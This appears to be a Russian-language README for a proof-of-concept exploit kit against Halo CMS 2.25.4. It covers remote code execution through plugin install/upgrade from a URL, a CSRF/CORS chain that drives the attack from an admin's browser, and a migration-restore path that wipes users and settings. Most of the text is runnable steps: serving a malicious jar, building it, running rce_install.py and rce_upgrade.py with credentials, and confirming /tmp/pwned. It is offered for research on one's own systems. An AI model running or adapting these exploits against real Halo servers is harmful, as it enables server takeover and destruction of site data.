
плагин halo cms: RCE в 1 запрос по URL, PoC + цепочка эксплойтов
консоль halo позволяет администраторам устанавливать и обновлять плагины, вставляя URL. она загружает любой URL, устанавливает jar, и код из jar выполняется на сервере. никаких проверок схемы, никаких проверок хоста, редиректы отслеживаются, а менеджер плагинов загружает классы расширений прямо из jar.
это cve-2026-67919 (install-from-uri / upgrade-from-uri), cve-2026-67920 (migration restore), cve-2026-67921 (csrf/cors chain). все три проверены против halohub/halo:2.25.4 в docker-лаборатории, август 2026. main до сих пор не пропатчен.
самое интересное: это также цепочка, работающая только через браузер. console api не проверяет xsrf-токен, сессионная cookie имеет samesite=none, а cors отражает любой origin с credentials. страница, которую посещает админ, может сделать всё это с помощью fetch(). смотрите exploit/csrf.html.
docker run -d --name halo -p 8090:8090 halohub/halo:2.25.4
# зайдите на /system/setup один раз, либо автоматизируйте это (см. notes/findings.md)
раздайте jar с хоста (привязка к 0.0.0.0, контейнер обращается к хосту как host.docker.internal):
python3 -m http.server 8123
соберите вредоносный плагин (нужен jdk 17):
cd plugin && sh build.sh
затем:
cd exploit && python3 -m pip install -r requirements.txt
./rce_install.py http://localhost:8090 admin 'Admin@12345' \
http://host.docker.internal:8123/poc-plugin.jar
docker exec halo cat /tmp/pwned
любой уже установленный плагин можно заменить одним запросом; jar должен иметь то же metadata.name и более высокую версию. poc-sitemap.jar — это такой вариант для встроенного PluginSitemap (1.x -> 2.0.0).
./rce_upgrade.py http://localhost:8090 admin 'Admin@12345' \
PluginSitemap http://host.docker.internal:8123/poc-sitemap.jar
docker exec halo cat /tmp/pwned
откройте exploit/csrf.html, укажите ваш halo, нажмите. это цепочка cve-2026-67921 -> cve-2026-67919: без xsrf-заголовка, сессионная cookie уходит cross-site, cors разрешает чтение ответа.
только администратор, что бы ни говорило описание cisa. аноним получает 302, гость — 403, администратор — выполнение кода. csrf-цепочка делает это интересным, потому что админ уже залогинен, когда страница выполняется.
восстановления загружают произвольный URL (ещё один fetch-примитив), пишут workdir/ из zip в рабочую директорию halo без санитизации и заменяют всё хранилище расширений содержимым бэкапа. пустой extensions.data удаляет пользователей, привязки ролей и настройки. используйте exploit/migration_restore.py только на одноразовой машине.
exploit/ login.py, rce_install.py, rce_upgrade.py,
migration_restore.py, csrf.html
plugin/ plugin.yaml, Exploit.java, plugin-components.idx,
build.sh, prebuilt jars
notes/ findings.md (лестница привилегий, поведение fetcher,
детали cookie/cors, статус исправлений)
для варианта в один запрос отредактируйте plugin/plugin.yaml (metadata.name + version) и пересоберите; либо используйте готовый poc-sitemap.jar против halo, в котором установлен PluginSitemap.
дисклеймер: для исследований на системах, которыми вы владеете. особенно migration — он разрушит инстанс, на котором будет запущен.
chris jagdeo (k0nnect)